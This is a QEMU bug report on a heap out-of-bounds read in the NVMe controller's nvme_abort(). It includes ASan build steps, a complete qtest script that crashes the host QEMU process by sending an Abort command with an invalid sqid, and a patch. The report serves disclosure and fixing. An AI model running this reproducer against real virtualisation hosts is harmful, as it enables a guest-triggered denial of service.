hw/nvme: heap-buffer-overflow in nvme_abort due to missing bounds check on sqid

Host environment

  • Operating system: Ubuntu 24.04.2 LTS
  • OS/kernel version: Linux 6.8.0-52-generic x86_64
  • Architecture: x86_64
  • QEMU flavor: qemu-system-x86_64 (built with --enable-asan --enable-ubsan)
  • QEMU version: QEMU 10.2.1 (also affects 9.1.0 through master)
  • QEMU command line:
    ./qemu-system-x86_64 -display none -machine q35,accel=qtest -nodefaults \
        -device nvme,serial=deadbeef -device nvme-ns,drive=disk0,nsid=1 \
        -drive file=null-co://,id=disk0,if=none,format=raw -qtest stdio

Description of problem

An out-of-bounds heap read in nvme_abort() (hw/nvme/ctrl.c) is triggered when a guest sends an NVMe Abort admin command (opcode 0x08) with an invalid Submission Queue ID (sqid) in CDW10.

The bug is at line 6114 (v10.2.1): NvmeSQueue *sq = n->sq[sqid] is executed before the bounds check nvme_check_sqid(n, sqid) at line 6119. Since sqid is a guest-controlled 16-bit value (range 0–65535), and n->sq[] is typically only 65 entries (max_ioqpairs + 1), a malicious guest can cause an out-of-bounds heap read.

This was introduced in commit 75209c071a ("hw/nvme: actually implement abort", 2024-07-02). A subsequent commit 304babd940 (2024-12-16) modified the same function but did not fix this issue.

ASan reports this as heap-buffer-overflow (READ of size 8), SEGV, or heap-use-after-free depending on heap layout.

ASan output:

==PID==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61600002daa0
READ of size 8 at 0x61600002daa0 thread T0
    #0 nvme_abort hw/nvme/ctrl.c:6120
    #1 nvme_admin_cmd hw/nvme/ctrl.c:7613
    #2 aio_bh_call util/async.c:172
    ...

Steps to reproduce

  1. Build QEMU with AddressSanitizer:

    mkdir build && cd build
    ../configure --enable-asan --enable-ubsan --target-list=x86_64-softmmu --disable-werror \
        --extra-cflags="-O0"
    make -j$(nproc) qemu-system-x86_64

    Note: The --extra-cflags="-O0" flag is required. At the default -O2 optimization level, the compiler delays the load of n->sq[sqid] until after the nvme_check_sqid() bounds check (since sq is not used before the check), which masks the out-of-bounds access.

  2. Run the following qtest script (pipe into qemu-system-x86_64 with -qtest stdio):

    cat <<'QTEST' | ./qemu-system-x86_64 -display none -machine q35,accel=qtest \
        -nodefaults -device nvme,serial=deadbeef -device nvme-ns,drive=disk0,nsid=1 \
        -drive file=null-co://,id=disk0,if=none,format=raw -qtest stdio
    
    # PCI BAR0 setup
    outl 0xcf8 0x80000810
    outl 0xcfc 0xe0000000
    outl 0xcf8 0x80000804
    outw 0xcfc 0x7
    
    # Admin Queue setup
    writel 0xe0000024 0x001f001f
    writel 0xe0000028 0x100000
    writel 0xe000002c 0x0
    writel 0xe0000030 0x101000
    writel 0xe0000034 0x0
    writel 0xe0000014 0x00460001
    
    # Write Abort command with sqid=6957 (0x1b2d) to Admin SQ
    # NvmeCmd layout: opcode(1)+flags(1)+cid(2) | nsid(4) | res1(8) | mptr(8) | dptr(16) | cdw10(4) | ...
    # CDW10 = 0xaeb21b2d → sqid = CDW10 & 0xffff = 0x1b2d (6957), cid = CDW10 >> 16 = 0xaeb2
    write 0x100000 0x40 0x080001000000000000000000000000000000000000000000000000000000000000000000000000002d1bb2ae0000000000000000000000000000000000000000
    
    # Ring Admin SQ doorbell
    writel 0xe0001000 0x1
    QTEST
  3. Observe ASan reporting heap-buffer-overflow in nvme_abort.

Proposed fix

Move NvmeSQueue *sq = n->sq[sqid] to after nvme_check_sqid():

 static uint16_t nvme_abort(NvmeCtrl *n, NvmeRequest *req)
 {
     uint16_t sqid = le32_to_cpu(req->cmd.cdw10) & 0xffff;
     uint16_t cid  = (le32_to_cpu(req->cmd.cdw10) >> 16) & 0xffff;
-    NvmeSQueue *sq = n->sq[sqid];
+    NvmeSQueue *sq;
     NvmeRequest *r, *next;
     int i;

     req->cqe.result = 1;
     if (nvme_check_sqid(n, sqid)) {
         return NVME_INVALID_FIELD | NVME_DNR;
     }

+    sq = n->sq[sqid];
+
     if (sqid == 0) {

Additional information

  • Introduced by: commit 75209c071a ("hw/nvme: actually implement abort")
  • Affects: QEMU 9.1.0 through 10.2.1 and current master
  • Impact: Guest-triggered denial of service (host QEMU process crash)
  • Root cause: n->sq[sqid] accessed before nvme_check_sqid(n, sqid) bounds validation
Edited by MarkLee131